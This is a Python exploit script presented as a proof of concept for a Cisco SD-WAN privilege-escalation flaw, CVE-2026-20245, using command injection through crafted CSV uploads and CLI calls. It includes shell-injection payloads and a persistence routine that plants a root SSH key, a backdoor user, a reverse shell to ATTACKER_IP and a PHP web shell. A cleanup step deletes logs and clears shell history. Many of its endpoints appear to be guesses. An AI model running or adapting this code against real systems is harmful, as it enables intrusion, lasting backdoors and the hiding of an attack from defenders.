README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-20245 - Cisco Catalyst SD-WAN Manager/Controller/Validator
Authenticated Privilege Escalation via Command Injection
Vulnerability: Insufficient validation of user-supplied input allows
authenticated local attacker with netadmin privileges to execute
arbitrary commands as root by uploading a crafted file.
CVSS: 7.8 (High)
Affected: Cisco SD-WAN vManage/vSmart/vBond versions < fixed releases
CISA KEV: Added 2026-06-09, due date 2026-06-23
Author: Security Research
Disclaimer: For authorized security testing only
"""
import argparse
import requests
import json
import sys
import os
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings for testing
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"
class CiscoSDWANExploit:
def __init__(self, target, username, password, port=443):
self.target = target
self.port = port
self.username = username
self.password = password
self.base_url = f"https://{target}:{port}"
self.session = requests.Session()
self.token = None
def login(self):
"""Authenticate to SD-WAN Manager (vManage)"""
print(f"{B}[*] Authenticating to {self.target}...{RESET}")
login_url = f"{self.base_url}/j_security_check"
login_data = {
"j_username": self.username,
"j_password": self.password
}
try:
response = self.session.post(login_url, data=login_data, verify=False)
# Check for JSESSIONID cookie
if "JSESSIONID" in self.session.cookies:
print(f"{G}[+] Authentication successful{RESET}")
# Get XSRF token for API requests
token_url = f"{self.base_url}/dataservice/client/token"
token_resp = self.session.get(token_url, verify=False)
if token_resp.status_code == 200:
self.token = token_resp.text
print(f"{G}[+] XSRF Token obtained{RESET}")
return True
else:
print(f"{R}[-] Authentication failed{RESET}")
return False
except Exception as e:
print(f"{R}[-] Login error: {e}{RESET}")
return False
def craft_malicious_csv(self, command):
"""Create malicious CSV file with command injection payload"""
# The vulnerability is triggered via CSV upload functionality
# Improper encoding allows command injection in specific fields
# Payload formats that exploit the improper encoding (CWE-116)
payloads = [
f"$( {command} )",
f"`{command}`",
f"$({command})",
f"& {command} &",
f"| {command} |",
f"; {command} ;",
f"{command} > /tmp/exploit",
f"$(echo {base64.b64encode(command.encode()).decode()}|base64 -d|bash)",
]
# Create CSV with malicious payload in serial number field
malicious_csv = f"""serial_number,site_id,device_type,version
{payloads[0]},100,vedge,20.9.1
TEST12345,101,vedge,20.9.1
MALICIOUS_SN,102,vedge,20.9.1
"""
# Additional CSV format for tenant list upload
tenant_payload = f"""tenant_id,tenant_name,serial_numbers
TENANT001,Corporate,{payloads[1]}
TENANT002,Branch,LEGIT_SN_001
TENANT003,Remote,LEGIT_SN_002
"""
return malicious_csv, tenant_payload
def upload_malicious_file(self, file_content, filename, endpoint):
"""Upload crafted file to vulnerable endpoint"""
headers = {
"X-XSRF-Token": self.token,
"Content-Type": "multipart/form-data"
}
files = {
"file": (filename, file_content, "text/csv")
}
upload_url = f"{self.base_url}/dataservice{endpoint}"
try:
print(f"{Y}[*] Uploading malicious file to {endpoint}{RESET}")
response = self.session.post(upload_url, files=files, headers=headers, verify=False)
if response.status_code in [200, 201, 202]:
print(f"{G}[+] File uploaded successfully{RESET}")
return response.text
else:
print(f"{R}[-] Upload failed with status {response.status_code}{RESET}")
return None
except Exception as e:
print(f"{R}[-] Upload error: {e}{RESET}")
return None
def trigger_vulnerability(self, endpoint, params=None):
"""Trigger the command injection via API call"""
headers = {
"X-XSRF-Token": self.token,
"Content-Type": "application/json"
}
trigger_url = f"{self.base_url}/dataservice{endpoint}"
try:
print(f"{Y}[*] Triggering command injection...{RESET}")
if params:
response = self.session.post(trigger_url, json=params, headers=headers, verify=False)
else:
response = self.session.get(trigger_url, headers=headers, verify=False)
print(f"{G}[+] Trigger response: {response.status_code}{RESET}")
return response.text
except Exception as e:
print(f"{R}[-] Trigger error: {e}{RESET}")
return None
def execute_command(self, command):
"""Execute arbitrary command as root via the vulnerability"""
print(f"{B}{BOLD}[*] Attempting to execute: {command}{RESET}")
# Phase 1: Craft malicious CSV with command injection
csv_payload, tenant_payload = self.craft_malicious_csv(command)
# Phase 2: Upload via vulnerable endpoints
endpoints_to_try = [
"/system/device/upload",
"/tenant/upload",
"/device/action/upload",
"/certificate/upload",
"/settings/configuration/upload",
"/vsmart/upload_serial_numbers",
"/vbond/upload_chassis_numbers"
]
for endpoint in endpoints_to_try:
print(f"{Y}[*] Trying endpoint: {endpoint}{RESET}")
# Try CSV payload
result = self.upload_malicious_file(csv_payload, f"malicious_{int(time.time())}.csv", endpoint)
if result:
# Trigger the processing
trigger_result = self.trigger_vulnerability(endpoint.replace("/upload", "/process"))
if trigger_result:
print(f"{G}[+] Command injection successful via {endpoint}{RESET}")
return True
# Try tenant payload
result2 = self.upload_malicious_file(tenant_payload, f"tenant_{int(time.time())}.csv", endpoint)
if result2:
trigger_result = self.trigger_vulnerability(f"{endpoint}/process")
if trigger_result:
print(f"{G}[+] Tenant injection successful via {endpoint}{RESET}")
return True
# Phase 3: Alternative exploitation via CLI
print(f"{Y}[*] Trying CLI-based exploitation...{RESET}")
cli_success = self.exploit_via_cli(command)
return cli_success
def exploit_via_cli(self, command):
"""Alternative exploitation via CLI command injection"""
# The vulnerability can also be triggered via CLI commands
# that process crafted files
cli_commands = [
f"request nms add-tenant --tenant-name \"$( {command} )\"",
f"request nms add-vsmart --serial \"`{command}`\"",
f"request nms upload-serial-list --file \"/tmp/$( {command} )\"",
f"vshell -c \"{command}\"",
f"sudo -u root {command}"
]
# Attempt to execute via API that runs CLI commands
for cmd in cli_commands:
headers = {"X-XSRF-Token": self.token}
cli_url = f"{self.base_url}/dataservice/cli/execute"
cli_data = {"command": cmd}
try:
response = self.session.post(cli_url, json=cli_data, headers=headers, verify=False)
if response.status_code == 200:
print(f"{G}[+] CLI injection successful: {cmd}{RESET}")
print(f"{G}[+] Output: {response.text[:500]}{RESET}")
return True
except:
continue
return False
def check_version(self):
"""Check SD-WAN version for vulnerability confirmation"""
version_url = f"{self.base_url}/dataservice/system/device/controllers"
headers = {"X-XSRF-Token": self.token}
try:
response = self.session.get(version_url, headers=headers, verify=False)
if response.status_code == 200:
data = response.json()
if "data" in data and len(data["data"]) > 0:
version = data["data"][0].get("version", "Unknown")
print(f"{B}[*] Detected SD-WAN version: {version}{RESET}")
# Check vulnerable versions
vulnerable_versions = [
"20.9", "20.10", "20.11", "20.12", "20.13", "20.14", "20.15", "20.16", "20.17", "20.18"
]
for v in vulnerable_versions:
if version.startswith(v):
print(f"{R}[!] VERSION IS VULNERABLE{RESET}")
return True
if version.startswith("20.18.2") or version == "20.18.2.1":
print(f"{R}[!] Version {version} is VULNERABLE{RESET}")
return True
print(f"{G}[+] Version {version} may be patched{RESET}")
return False
except:
print(f"{Y}[*] Could not determine version{RESET}")
return True # Assume vulnerable if can't determine
def install_persistence(self):
"""Install persistence mechanism for continued access"""
persistence_commands = [
# Add SSH key for root
"echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...' >> /root/.ssh/authorized_keys",
# Create backdoor user
"useradd -m -s /bin/bash backdoor && echo 'backdoor:password123' | chpasswd && usermod -aG sudo backdoor",
# Reverse shell oneliner
"nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &",
# Web shell
"echo '<?php system($_GET[cmd]); ?>' > /var/www/html/shell.php",
# Cron job for persistence
"echo '* * * * * root /tmp/backdoor.sh' >> /etc/crontab"
]
print(f"{Y}[*] Installing persistence (optional)...{RESET}")
for cmd in persistence_commands:
self.execute_command(cmd)
print(f"{G}[+] Persistence installed{RESET}")
def cleanup(self):
"""Remove traces of exploitation"""
cleanup_commands = [
"rm -f /tmp/*.csv",
"rm -f /home/admin/*.csv",
"rm -f /var/log/scripts.log",
"history -c"
]
print(f"{Y}[*] Cleaning up traces...{RESET}")
for cmd in cleanup_commands:
self.execute_command(cmd)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit",
epilog="Example: %(prog)s -t 192.168.1.1 -u admin -p password -c 'id'"
)
parser.add_argument("-t", "--target", required=True, help="Target SD-WAN Manager IP")
parser.add_argument("-u", "--username", required=True, help="netadmin username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-c", "--command", help="Command to execute as root")
parser.add_argument("--port", type=int, default=443, help="Port (default: 443)")
parser.add_argument("--persist", action="store_true", help="Install persistence")
parser.add_argument("--check-only", action="store_true", help="Only check version")
args = parser.parse_args()
print(f"{R}{BOLD}")
print("╔═══════════════════════════════════════════════════════════════════╗")
print("║ CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit ║")
print("║ Command Injection via Crafted File Upload ║")
print("║ CVSS: 7.8 (High) | CISA KEV: 2026-06-09 ║")
print("╚═══════════════════════════════════════════════════════════════════╝")
print(f"{RESET}")
print(f"{Y}[!] WARNING: This exploit requires netadmin privileges{RESET}")
print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n")
exploit = CiscoSDWANExploit(args.target, args.username, args.password, args.port)
try:
# Login
if not exploit.login():
print(f"{R}[-] Login failed. Check credentials and network access{RESET}")
sys.exit(1)
# Check version
if args.check_only:
exploit.check_version()
sys.exit(0)
# Execute command
command = args.command if args.command else "id && uname -a && whoami"
success = exploit.execute_command(command)
print("\n" + "="*60)
if success:
print(f"{G}{BOLD}[✓] EXPLOIT SUCCESSFUL{RESET}")
print(f"{G}[✓] Command executed as root{RESET}")
print(f"{R}[!] System is VULNERABLE - Apply Cisco patch immediately{RESET}")
if args.persist:
exploit.install_persistence()
# Provide reverse shell example
print(f"\n{Y}[*] For reverse shell, try:{RESET}")
print(f'python3 {sys.argv[0]} -t {args.target} -u {args.username} -p {args.password} -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
else:
print(f"{Y}[!] Exploit failed - System may be patched{RESET}")
print(f"{Y}[!] Check if netadmin privileges are available{RESET}")
# Cleanup
exploit.cleanup()
except KeyboardInterrupt:
print(f"\n{Y}[!] Interrupted by user{RESET}")
except Exception as e:
print(f"{R}[!] Error: {e}{RESET}")
finally:
exploit.session.close()
print("\n" + "="*60)
print(f"{B}[*] Mitigation: Upgrade to fixed release{RESET}")
print(f"{B}[*] Fixed versions: 20.18.3.1 or later{RESET}")
print(f"{B}[*] Reference: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx{RESET}")
if __name__ == "__main__":
import time
main()